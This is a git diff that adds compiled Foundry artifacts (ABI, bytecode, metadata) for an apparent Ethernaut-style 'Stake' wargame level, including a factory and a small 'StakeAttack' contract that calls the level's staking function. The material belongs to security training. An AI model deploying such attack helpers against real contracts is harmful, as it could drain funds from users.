raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Stake.t.sol":{"keccak256":"0x17eda89c3eb214510a77b9f55981a1f6798affb9a2c516618275ca1579880261","urls":["bzz-raw://a49857e822f767332a0f30bd745eec1142a119ea9ca1e037fc4eb099ee1b62fe","dweb:/ipfs/QmYXLGLqhDmiycWJRf7wGWaqRdMBQfyMAPPHTUSG3NazEC"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"id":151}
\ No newline at end of file
diff --git a/contracts/out/StakeAttack.sol/StakeAttack.json b/contracts/out/StakeAttack.sol/StakeAttack.json
new file mode 100644
index 000000000..66fbeca30
--- /dev/null
+++ b/contracts/out/StakeAttack.sol/StakeAttack.json
@@ -0,0 +1 @@
+{"abi":[{"type":"function","name":"attack","inputs":[{"name":"_target","type":"address","internalType":"contract Stake"}],"outputs":[],"stateMutability":"payable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5060fc8061001c5f395ff3fe608060405260043610601b575f3560e01c8063d018db3e14601f575b5f80fd5b602e602a366004608e565b6030565b005b8073ffffffffffffffffffffffffffffffffffffffff166378e7ed2f346040518263ffffffff1660e01b81526004015f604051808303818588803b1580156075575f80fd5b505af11580156086573d5f803e3d5ffd5b505050505050565b5f60208284031215609d575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811460bf575f80fd5b939250505056fea2646970667358221220525455ac5f2f263ad4826a52c4a5173bb6ac4f95a8dfd228b3a1bf0ef808ec7e64736f6c63430008170033","sourceMap":"148:121:57:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610601b575f3560e01c8063d018db3e14601f575b5f80fd5b602e602a366004608e565b6030565b005b8073ffffffffffffffffffffffffffffffffffffffff166378e7ed2f346040518263ffffffff1660e01b81526004015f604051808303818588803b1580156075575f80fd5b505af11580156086573d5f803e3d5ffd5b505050505050565b5f60208284031215609d575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811460bf575f80fd5b939250505056fea2646970667358221220525455ac5f2f263ad4826a52c4a5173bb6ac4f95a8dfd228b3a1bf0ef808ec7e64736f6c63430008170033","sourceMap":"148:121:57:-:0;;;;;;;;;;;;;;;;;;;;;174:93;;;;;;:::i;:::-;;:::i;:::-;;;226:7;:16;;;250:9;226:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;174:93;:::o;14:324:160:-;88:6;141:2;129:9;120:7;116:23;112:32;109:52;;;157:1;154;147:12;109:52;196:9;183:23;246:42;239:5;235:54;228:5;225:65;215:93;;304:1;301;294:12;215:93;327:5;14:324;-1:-1:-1;;;14:324:160:o","linkReferences":{}},"methodIdentifiers":{"attack(address)":"d018db3e"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.23+commit.f704f362\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"contract Stake\",\"name\":\"_target\",\"type\":\"address\"}],\"name\":\"attack\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/StakeAttack.sol\":\"StakeAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"src/attacks/StakeAttack.sol\":{\"keccak256\":\"0xcb07ae3ce661d72d39db5856fcd949976df5437b04d92552ad5bb99f7ed6e190\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a980ad6ccd7ba0d1e337af1e2493e4f1890009285c6958ce52fb4e6973ff81f3\",\"dweb:/ipfs/QmZi8DQyT8CSR5JmB4qvjc9xwwf92gv9uditGeZkGWyn96\"]},\"src/levels/Stake.sol\":{\"keccak256\":\"0x7e120dc6fa37762e3d4c3dccc143fa20317a8a188cda3ccda9347e3acb1991ae\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://cbafa128dad40f6abf0894fba48f2e077e18319dd1c8ae3e03108647c32ab054\",\"dweb:/ipfs/QmSMJocEaXHnWar4fNScDB95XtwqfoQXniP2LCEFrjRZ7F\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.23+commit.f704f362"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"contract Stake","name":"_target","type":"address"}],"stateMutability":"payable","type":"function","name":"attack"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/StakeAttack.sol":"StakeAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"src/attacks/StakeAttack.sol":{"keccak256":"0xcb07ae3ce661d72d39db5856fcd949976df5437b04d92552ad5bb99f7ed6e190","urls":["bzz-raw://a980ad6ccd7ba0d1e337af1e2493e4f1890009285c6958ce52fb4e6973ff81f3","dweb:/ipfs/QmZi8DQyT8CSR5JmB4qvjc9xwwf92gv9uditGeZkGWyn96"],"license":"MIT"},"src/levels/Stake.sol":{"keccak256":"0x7e120dc6fa37762e3d4c3dccc143fa20317a8a188cda3ccda9347e3acb1991ae","urls":["bzz-raw://cbafa128dad40f6abf0894fba48f2e077e18319dd1c8ae3e03108647c32ab054","dweb:/ipfs/QmSMJocEaXHnWar4fNScDB95XtwqfoQXniP2LCEFrjRZ7F"],"license":"MIT"}},"version":1},"id":57}
\ No newline at end of file
diff --git a/contracts/out/StakeFactory.sol/StakeFactory.json b/contracts/out/StakeFactory.sol/StakeFactory.json
new file mode 100644
index 000000000..97eed6db1
--- /dev/null
+++ b/contracts/out/StakeFactory.sol/StakeFactory.json
@@ -0,0 +1 @@
+{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x6080604052604051610010906100f0565b604080825260099082015268088eadadaf2ae8aa8960bb1b606082015260806020820181905260059082015264088ae8aa8960db1b60a082015260c001604051809103905ff080158015610066573d5f803e3d5ffd5b50600180546001600160a01b0319166001600160a01b0392909216919091179055348015610092575f80fd5b5061009c336100a1565b6100fd565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610c3880610e3883390190565b610d2e8061010a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461047d565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461049f565b61016a565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461047d565b610307565b61011461039c565b61011d5f6103f5565b565b6001546040515f916001600160a01b03169061013a9061045c565b6001600160a01b039091168152602001604051809103905ff080158015610163573d5f803e3d5ffd5b5092915050565b5f826001600160a01b03811631158015906101ed5750836001600160a01b031631816001600160a01b031663817b1cd26040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101eb91906104d6565b115b801561027757506040517f7b2333190000000000000000000000000000000000000000000000000000000081526001600160a01b038481166004830152821690637b23331990602401602060405180830381865afa158015610251573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061027591906104d6565b155b80156102ff57506040517fede85eb70000000000000000000000000000000000000000000000000000000081526001600160a01b03848116600483015282169063ede85eb790602401602060405180830381865afa1580156102db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102ff91906104ed565b949350505050565b61030f61039c565b6001600160a01b0381166103905760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610399816103f5565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610387565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6107ec8061050d83390190565b6001600160a01b0381168114610399575f80fd5b5f6020828403121561048d575f80fd5b813561049881610469565b9392505050565b5f80604083850312156104b0575f80fd5b82356104bb81610469565b915060208301356104cb81610469565b809150509250929050565b5f602082840312156104e6575f80fd5b5051919050565b5f602082840312156104fd575f80fd5b81518015158114610498575f80fdfe60806040526040516107ec3803806107ec8339810160408190526100229161005c565b345f808282546100329190610089565b9091555050600380546001600160a01b0319166001600160a01b03929092169190911790556100ae565b5f6020828403121561006c575f80fd5b81516001600160a01b0381168114610082575f80fd5b9392505050565b808201808211156100a857634e487b7160e01b5f52601160045260245ffd5b92915050565b610731806100bb5f395ff3fe60806040526004361061006e575f3560e01c8063817b1cd21161004c578063817b1cd2146100e9578063ad5c4648146100fd578063ede85eb714610134578063f1f1db1e14610162575f80fd5b80636e35c7401461007257806378e7ed2f146100a65780637b233319146100b0575b5f80fd5b34801561007d575f80fd5b5061009161008c366004610632565b610181565b60405190151581526020015b60405180910390f35b6100ae610422565b005b3480156100bb575f80fd5b506100db6100ca366004610649565b60016020525f908152604090205481565b60405190815260200161009d565b3480156100f4575f80fd5b506100db5f5481565b348015610108575f80fd5b5060035461011c906001600160a01b031681565b6040516001600160a01b03909116815260200161009d565b34801561013f575f80fd5b5061009161014e366004610649565b60026020525f908152604090205460ff1681565b34801561016d575f80fd5b5061009161017c366004610632565b6104cb565b5f66038d7ea4c6800082116101dd5760405162461bcd60e51b815260206004820152600e60248201527f446f6e277420626520636865617000000000000000000000000000000000000060448201526064015b60405180910390fd5b600354604080513360248201523060448083019190915282518083039091018152606490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fdd62ed3e0000000000000000000000000000000000000000000000000000000017905290515f926001600160a01b03169161026491610676565b5f604051808303815f865af19150503d805f811461029d576040519150601f19603f3d011682016040523d82523d5f602084013e6102a2565b606091505b50915050826102b0826105b1565b10156102fe5760405162461bcd60e51b815260206004820181905260248201527f486f7720616d2049206d6f76696e67207468652066756e647320686f6e65793f60448201526064016101d4565b825f8082825461030e91906106cf565b9091555050335f90815260016020526040812080548592906103319084906106cf565b909155505060035460408051336024820152306044820152606480820187905282518083039091018152608490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd0000000000000000000000000000000000000000000000000000000017905290515f926001600160a01b0316916103c191610676565b5f604051808303815f865af19150503d805f81146103fa576040519150601f19603f3d011682016040523d82523d5f602084013e6103ff565b606091505b5050335f908152600260205260409020805460ff19166001179055949350505050565b66038d7ea4c6800034116104785760405162461bcd60e51b815260206004820152600e60248201527f446f6e277420626520636865617000000000000000000000000000000000000060448201526064016101d4565b345f8082825461048891906106cf565b9091555050335f90815260016020526040812080543492906104ab9084906106cf565b9091555050335f908152600260205260409020805460ff19166001179055565b335f908152600160205260408120548211156105295760405162461bcd60e51b815260206004820152600f60248201527f446f6e277420626520677265656479000000000000000000000000000000000060448201526064016101d4565b335f90815260016020526040812080548492906105479084906106e8565b92505081905550815f8082825461055e91906106e8565b90915550506040515f90339084908381818185875af1925050503d805f81146105a2576040519150601f19603f3d011682016040523d82523d5f602084013e6105a7565b606091505b5090949350505050565b5f60208251101561062a5760405162461bcd60e51b815260206004820152602560248201527f44617461206c656e677468206d757374206265206174206c656173742033322060448201527f627974657300000000000000000000000000000000000000000000000000000060648201526084016101d4565b506020015190565b5f60208284031215610642575f80fd5b5035919050565b5f60208284031215610659575f80fd5b81356001600160a01b038116811461066f575f80fd5b9392505050565b5f82515f5b81811015610695576020818601810151858301520161067b565b505f920191825250919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b808201808211156106e2576106e26106a2565b92915050565b818103818111156106e2576106e26106a256fea2646970667358221220c65c29ae014367df4445299bd1a81e485bac5be1083a3e141b3b6a0631dee96b64736f6c63430008170033a2646970667358221220876b7f99b0c949d06cde10dcf7350cf2b11bdd63a80ea60ba6e1686587d5c84b64736f6c63430008170033608060405234801562000010575f80fd5b5060405162000c3838038062000c3883398101604081905262000033916200011a565b60036200004183826200020a565b5060046200005082826200020a565b505050620002d6565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200007d575f80fd5b81516001600160401b03808211156200009a576200009a62000059565b604051601f8301601f19908116603f01168101908282118183101715620000c557620000c562000059565b8160405283815260209250866020858801011115620000e2575f80fd5b5f91505b83821015620001055785820183015181830184015290820190620000e6565b5f602085830101528094505050505092915050565b5f80604083850312156200012c575f80fd5b82516001600160401b038082111562000143575f80fd5b62000151868387016200006d565b9350602085015191508082111562000167575f80fd5b5062000176858286016200006d565b9150509250929050565b600181811c908216806200019557607f821691505b602082108103620001b457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200020557805f5260205f20601f840160051c81016020851015620001e15750805b601f840160051c820191505b8181101562000202575f8155600101620001ed565b50505b505050565b81516001600160401b0381111562000226576200022662000059565b6200023e8162000237845462000180565b84620001ba565b602080601f83116001811462000274575f84156200025c5750858301515b5f19600386901b1c1916600185901b178555620002ce565b5f85815260208120601f198616915b82811015620002a45788860151825594840194600190910190840162000283565b5085821015620002c257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b61095480620002e45f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c8063395093511161007d578063a457c2d711610058578063a457c2d714610180578063a9059cbb14610193578063dd62ed3e146101a6575f80fd5b8063395093511461013d57806370a082311461015057806395d89b4114610178575f80fd5b806318160ddd116100ad57806318160ddd1461010957806323b872dd1461011b578063313ce5671461012e575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d06101de565b6040516100dd91906107ae565b60405180910390f35b6100f96100f4366004610815565b61026e565b60405190151581526020016100dd565b6002545b6040519081526020016100dd565b6100f961012936600461083d565b610287565b604051601281526020016100dd565b6100f961014b366004610815565b6102aa565b61010d61015e366004610876565b6001600160a01b03165f9081526020819052604090205490565b6100d06102e8565b6100f961018e366004610815565b6102f7565b6100f96101a1366004610815565b6103a5565b61010d6101b4366004610896565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600380546101ed906108c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610219906108c7565b80156102645780601f1061023b57610100808354040283529160200191610264565b820191905f5260205f20905b81548152906001019060200180831161024757829003601f168201915b5050505050905090565b5f3361027b8185856103b2565b60019150505b92915050565b5f33610294858285610509565b61029f858585610599565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061027b90829086906102e39087906108ff565b6103b2565b6060600480546101ed906108c7565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103985760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61029f82868684036103b2565b5f3361027b818585610599565b6001600160a01b03831661042d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b0382166104a95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461059357818110156105865760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161038f565b61059384848484036103b2565b50505050565b6001600160a01b0383166106155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b0382166106915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b0383165f908152602081905260409020548181101561071f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107559084906108ff565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a191815260200190565b60405180910390a3610593565b5f602080835283518060208501525f5b818110156107da578581018301518582016040015282016107be565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610810575f80fd5b919050565b5f8060408385031215610826575f80fd5b61082f836107fa565b946020939093013593505050565b5f805f6060848603121561084f575f80fd5b610858846107fa565b9250610866602085016107fa565b9150604084013590509250925092565b5f60208284031215610886575f80fd5b61088f826107fa565b9392505050565b5f80604083850312156108a7575f80fd5b6108b0836107fa565b91506108be602084016107fa565b90509250929050565b600181811c908216806108db57607f821691505b6020821081036108f957634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561028157634e487b7160e01b5f52601160045260245ffdfea26469706673582212207a4af11b318fef9e166e152b30c3ea9d2f9a2d7d60ca7c57862996f73673d31e64736f6c63430008170033","sourceMap":"168:533:110:-:0;;;228:30;;;;;:::i;:::-;317:2:160;299:21;;;356:1;336:18;;;329:29;-1:-1:-1;;;389:2:160;374:18;;367:39;444:3;437:4;422:20;;415:33;;;485:1;464:19;;;457:30;-1:-1:-1;;;518:3:160;503:19;;496:36;564:3;549:19;228:30:110;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;203:56:110;;;-1:-1:-1;;;;;;203:56:110;-1:-1:-1;;;;;203:56:110;;;;;;;;;;168:533;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;168:533:110;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;168:533:110:-;;;;;;;;:::o;14:560:160:-;168:533:110;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461047d565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461049f565b61016a565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461047d565b610307565b61011461039c565b61011d5f6103f5565b565b6001546040515f916001600160a01b03169061013a9061045c565b6001600160a01b039091168152602001604051809103905ff080158015610163573d5f803e3d5ffd5b5092915050565b5f826001600160a01b03811631158015906101ed5750836001600160a01b031631816001600160a01b031663817b1cd26040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101eb91906104d6565b115b801561027757506040517f7b2333190000000000000000000000000000000000000000000000000000000081526001600160a01b038481166004830152821690637b23331990602401602060405180830381865afa158015610251573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061027591906104d6565b155b80156102ff57506040517fede85eb70000000000000000000000000000000000000000000000000000000081526001600160a01b03848116600483015282169063ede85eb790602401602060405180830381865afa1580156102db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102ff91906104ed565b949350505050565b61030f61039c565b6001600160a01b0381166103905760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610399816103f5565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610387565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6107ec8061050d83390190565b6001600160a01b0381168114610399575f80fd5b5f6020828403121561048d575f80fd5b813561049881610469565b9392505050565b5f80604083850312156104b0575f80fd5b82356104bb81610469565b915060208301356104cb81610469565b809150509250929050565b5f602082840312156104e6575f80fd5b5051919050565b5f602082840312156104fd575f80fd5b81518015158114610498575f80fdfe60806040526040516107ec3803806107ec8339810160408190526100229161005c565b345f808282546100329190610089565b9091555050600380546001600160a01b0319166001600160a01b03929092169190911790556100ae565b5f6020828403121561006c575f80fd5b81516001600160a01b0381168114610082575f80fd5b9392505050565b808201808211156100a857634e487b7160e01b5f52601160045260245ffd5b92915050565b610731806100bb5f395ff3fe60806040526004361061006e575f3560e01c8063817b1cd21161004c578063817b1cd2146100e9578063ad5c4648146100fd578063ede85eb714610134578063f1f1db1e14610162575f80fd5b80636e35c7401461007257806378e7ed2f146100a65780637b233319146100b0575b5f80fd5b34801561007d575f80fd5b5061009161008c366004610632565b610181565b60405190151581526020015b60405180910390f35b6100ae610422565b005b3480156100bb575f80fd5b506100db6100ca366004610649565b60016020525f908152604090205481565b60405190815260200161009d565b3480156100f4575f80fd5b506100db5f5481565b348015610108575f80fd5b5060035461011c906001600160a01b031681565b6040516001600160a01b03909116815260200161009d565b34801561013f575f80fd5b5061009161014e366004610649565b60026020525f908152604090205460ff1681565b34801561016d575f80fd5b5061009161017c366004610632565b6104cb565b5f66038d7ea4c6800082116101dd5760405162461bcd60e51b815260206004820152600e60248201527f446f6e277420626520636865617000000000000000000000000000000000000060448201526064015b60405180910390fd5b600354604080513360248201523060448083019190915282518083039091018152606490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fdd62ed3e0000000000000000000000000000000000000000000000000000000017905290515f926001600160a01b03169161026491610676565b5f604051808303815f865af19150503d805f811461029d576040519150601f19603f3d011682016040523d82523d5f602084013e6102a2565b606091505b50915050826102b0826105b1565b10156102fe5760405162461bcd60e51b815260206004820181905260248201527f486f7720616d2049206d6f76696e67207468652066756e647320686f6e65793f60448201526064016101d4565b825f8082825461030e91906106cf565b9091555050335f90815260016020526040812080548592906103319084906106cf565b909155505060035460408051336024820152306044820152606480820187905282518083039091018152608490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd0000000000000000000000000000000000000000000000000000000017905290515f926001600160a01b0316916103c191610676565b5f604051808303815f865af19150503d805f81146103fa576040519150601f19603f3d011682016040523d82523d5f602084013e6103ff565b606091505b5050335f908152600260205260409020805460ff19166001179055949350505050565b66038d7ea4c6800034116104785760405162461bcd60e51b815260206004820152600e60248201527f446f6e277420626520636865617000000000000000000000000000000000000060448201526064016101d4565b345f8082825461048891906106cf565b9091555050335f90815260016020526040812080543492906104ab9084906106cf565b9091555050335f908152600260205260409020805460ff19166001179055565b335f908152600160205260408120548211156105295760405162461bcd60e51b815260206004820152600f60248201527f446f6e277420626520677265656479000000000000000000000000000000000060448201526064016101d4565b335f90815260016020526040812080548492906105479084906106e8565b92505081905550815f8082825461055e91906106e8565b90915550506040515f90339084908381818185875af1925050503d805f81146105a2576040519150601f19603f3d011682016040523d82523d5f602084013e6105a7565b606091505b5090949350505050565b5f60208251101561062a5760405162461bcd60e51b815260206004820152602560248201527f44617461206c656e677468206d757374206265206174206c656173742033322060448201527f627974657300000000000000000000000000000000000000000000000000000060648201526084016101d4565b506020015190565b5f60208284031215610642575f80fd5b5035919050565b5f60208284031215610659575f80fd5b81356001600160a01b038116811461066f575f80fd5b9392505050565b5f82515f5b81811015610695576020818601810151858301520161067b565b505f920191825250919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b808201808211156106e2576106e26106a2565b92915050565b818103818111156106e2576106e26106a256fea2646970667358221220c65c29ae014367df4445299bd1a81e485bac5be1083a3e141b3b6a0631dee96b64736f6c63430008170033a2646970667358221220876b7f99b0c949d06cde10dcf7350cf2b11bdd63a80ea60ba6e1686587d5c84b64736f6c63430008170033","sourceMap":"168:533:110:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;263:136:110;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:160;;;571:74;;559:2;544:18;263:136:110;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;403:296:110;;;;;;;;;;-1:-1:-1;403:296:110;;;;;:::i;:::-;;:::i;:::-;;;1222:14:160;;1215:22;1197:41;;1185:2;1170:18;403:296:110;1057:187:160;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;